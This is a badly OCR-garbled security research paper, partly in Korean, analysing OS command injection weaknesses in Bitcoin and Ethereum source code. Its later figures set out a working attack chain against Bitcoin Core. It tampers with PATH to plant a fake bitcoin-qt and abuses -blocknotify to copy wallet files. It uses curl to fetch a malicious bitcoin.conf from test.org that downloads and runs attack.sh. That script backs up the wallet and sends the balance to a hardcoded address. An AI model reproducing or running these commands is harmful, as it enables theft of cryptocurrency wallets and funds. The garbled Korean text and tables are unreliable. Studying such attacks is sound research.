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Analysis of Blockchain Software Vulnerability against OS Command
Injection Attack*
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ABSTRACT

Blockchain has been developed as a key technology for many cryptocurrency systems such as Bitcoin. These days,
blockchain technology attracts many people to adopt it to various fields beyond cryptocurrency systems for their information
sharing and processing. However, with the development and increasing adoption of the blockchain, security incidents
frequently happen in the blockchain systems due to their implementation flaws. In order to solve this problem, in this paper,
we analyze the software vulnerabilities of Bitcoin and Ethereum, which are the most widely used blockchain applications in
real world. For that purpose, we conduct an in-depth analysis of source code of them to detect software vulnerabilities, and
examine an OS command injection attack exploiting the detected ones.

Keywords: Blockchain, CryptoCurrency, static analysis, software vulnerability
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Table 1. CWE / SANS TOP 25 Most Dangerous
Software Errors List
Rank 1D Name
Improper Neutralization of
1 CWE-89 |Special Elements used in an
SQL Command ('SQL Injection”)
Improper  Neutralization  of
g |Special Elements used in an
2 | CWE-T8 105" Command ('OS Command
Injection”)
Buffer Copy without Checking
3 |CWE-120(Size of Input ('Classic Buffer
Overflow”)
Improper Neutralization of Input
4 CWE-T9 |During Web Page Generation
("Cross-site Scripting”)
B Missing  Authentication  for
5 |CWE-306 Critical Function
6 |CWE-862|Missing Authorization
7 |CWE-798|Use of Hard-coded Credentials
B Missing Encryption of
8 |CWE-sll Sensitive Data
9 |CcWE-434 Uprestricted Upload of File
with Dangerous Type
10 |owe-807 Rehance ?n Untyu.sted Inputs
in a Security Decision
11 |lcwE-250 Ex'ec.ution with  Unnecessary
Privileges
B Cross-Site  Request Forgery
12 |CWE-352 (CSRF)
Improper Limitation of a
13 | CWE-22 |Pathname to a Restricted
Directory ("Path Traversal’)
_ Download of Code Without
14 |CWE-494 Integrity Check
15 |CWE-863|Incorrect Authorization
B Inclusion of Functionality from
16 |CWE-829 Untrusted Control Sphere
17 lowe-732 Incorr.ec.t Permission Assignment
for Critical Resource
18 |owE-676 1Eﬂlse qf Potentially Dangerous
unction
B Use of a Broken or Risky
19 |CWE-327 Cryptographic Algorithm
20 |cwE-131 Ir}correct Calculation of Buffer
Size
B Improper Restriction of Exce-
21 |CWE-307 ssive Authentication Attempts
N URL Redirection to Untrusted
22 |CWE-601 Site ("Open Redirect”)
23 |CWE-134|Uncontrolled Format String
o4 |CWE-190 Integer Overflow or Wrapa-
round
%5 | CWE-759 Use of a One-Way Hash

without a Salt
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o2 Wiksl= uh S /\}_&3}_‘: SIRIE=4
AgAz e o
&z

« rlr

2 oo )y B g ok ¢

o 2eads Fa oAk 2ol AT ¢ =S
T & gk
Example 1

String script = System.getProperty("SCRIPTNAME");
if (script != null)
System.exec(script);

Example 2

public String coordinateTransformLatLonToUTM(String
coordinates)
{
String utmCoords = null;
try {
String latlonCoords = coordinates;
Runtime rt = Runtime.getRuntime();
Process exec = rt.exec("cmd.exe /C latlon2utm.exe
-" + latlonCoords);
// process results of coordinate transform

e

catch(Exception e) {..}
return utmcCoords;

}

Fig. 3. OS Command Injection Code Examples
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Table 4. 3 high level categories

Project Group Total
Insecure Interaction 1
L Porous Defenses 6
Bitcoin
Risky Resource
46
Management
Insecure Interaction 2
Ethereu Porous Defenses 0
m .
Risky Resource 92130
Management
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Fig. 4. Bitcoin Issues by Priority
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Fig. 5. Ethereum Issues by Priority
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Fig.7.& Ethereum*ﬂ]/ﬂ Bx] % Fof
t}. getFromExecution 3ol ZEA)sE
system 9 popen ¥E AHEShs

system ¢} popen ¥4 EF AHl=

void runCommand(const std::string& strCommand)
{
if (strCommand.empty()) return;
int nErr = ::system(strCommand.c_str());
if (nErr)
LogPrintf("runCommand error: system(%s)
returned %dwn", strCommand, nErr);

}

Fig. 6. Bitcoin vulnerability code
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void getFromExecution(std::string command) {

Timer timer;

timer.start();

// do this using just core stdio.h and stdlib.h, for
portability

// sadly this requires two invokes

code = system(("timeout " +
std::to_string(timeout) + "s " + command + " >
/dev/null 2> /dev/null").c_str());

const int MAX_BUFFER = 1024;

char bufferflMAX_BUFFER];

FILE *stream = popen((“timeout " +
std::to_string(timeout) + "s " + command + " 2>
/dev/null").c_str(), "r");

while (fgets(buffer, MAX_BUFFER, stream) != NULL) {

output.append(buffer);

}

pclose(stream);

timer.stop();

time = timer.getTotal() / 2;

Fig. 7. Ethereum vulnerability code
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Fig.8.3 /User/BK/bak/" 72l Wz=
bitcoin-qt vlelu g 7h =] = o] 3

$ which bitcoin-qt
/usr/local/bin/bitcoin-qt

.bash_profile
export PATH="/Users/BK/bak:$PATH"

which bitcoin-qt
/Users/BK/bak/bitcoin-qt

Fig. 8. bash_profile file tampering

bash_profileel #4W45 $43}¢] bitcoin-qt
Al &) /‘] el A=l “/usr/local/bin/ ] °ohd

g Aoz} AYE 28 s9lc(22).

difﬂ bitcoin—gt  Ble|HE]e] AAFEE

g.9.¢} #tl. bitcoin—qtE A#std =
il%“’l Adelz, Wzxd ZzaHe g A8}
7} Adjsle]a & bitcoin—qtE FAAF Hil= &
As BAsste] At} olEgl WAle=
blocknotify 2437} 7Fssl FAA7F A=
AWNE 2l s AL 4 gl

Bitcoin Core I7|x+= GUIE Adske=
bitcoin—gt, back-endell4] daemon®=® -F2}s}
= bitcoind, I3 bitcoin-qt, bitcoind2}
JSON-RPCZ A3#-438= command line
interfaceq! bitcoin-cliz A=t}

OS Command Injection Attackel # <3 =
=% 742 9+ runCommand 3+ bitcoin-
at®} bitcoindel ¥ =™ bitcoin-qtE ©] 83}
o} .

runCommand @57}  32ZH= FA9E
bitcoin-qt A A 54 FAle] FA3} Hojo} &
t}. walletnotify, alertnotify, blocknotify &
Aol Adeelel WS xR ] wEel
runCommand 55 E&3H goH(23).

-

#import <Foundation/Foundation.h>

int main(int argc, const char * argv(]) {
@autoreleasepool {
// attack 1
system("/usr/local/bin/bitcoin-qt -blocknotify=
W'mkdir /Users/BK/bak &&
cp -R /Users/BK/Library/Application Support/Bitcoin/wallets
/Users/BK/bak &8t chmod -R 777 /Users/BK/bak¥"");

// attack 2
//system("/ust/localy/bin/bitcoin-qt —blocknotify =
#Wi(cd /Users/BK/Library/Application Support/Bitcoin/ &&
curl O https://www.test.org/bitcoin.conf)# ")
}

return O;

Fig. 9. Contents of bitcoin-gt File
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$ bitcoin-gt -blocknotify="mkdir /Users/BK/bak &8t
cp -R /Users/BK/Library/Application Support
/Bitcoin/wallets /Users/BK/bak &&
chmod -R 777 /Users/BK/bak"

Fig. 12. Command Attack Code
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$ bitcoin-qt —blocknotify="(cd /Users/BK/Library/
Application Support/Bitcoin/ &8& curl -O
https://www.test.org/bitcoin.conf)”

Fig. 13. Configuration Attack Code

#
## bitcoin.conf configuration file. Lines beginning with # are comments.
#

blocknotify="(cd /Users/BK/ & curl -0 https://www.test.org/attack.sh & chmod 777 attack.sh

&% ./attack.sh)
server=1

#rpcuser=testuser
#rpcpassword=testpassword

Fig. 14. Contents of bitcoin,conf File

#attack script

#Safely copies wallet.dat to destination, which can be a directory or a path with
filename.
bitcoin-cli backupwallet "/Users/BK/"

#If [account] is not specified, returns the server's total available balance.
#If [account] is specified, returns the balance in the account.

GET_BALANCE="bitcoin-cli getbalance
#USER_NAME=testuserl
#GET_BALANCE=$(bitcoin-cli getbalance $USER_NAME)

RECEIVE_ADDRESS=2N61wbhhPsYCKkeck6d]zfU64BTNcynnvxh

CAL_BALANCE=$(echo "$GET_BALANCE-0.1" | bc)
bitcoin-cli sendtoaddress $RECEIVE_ADDRESS $CAL_BALANCE

Fig. 15. Contents of attack.sh File
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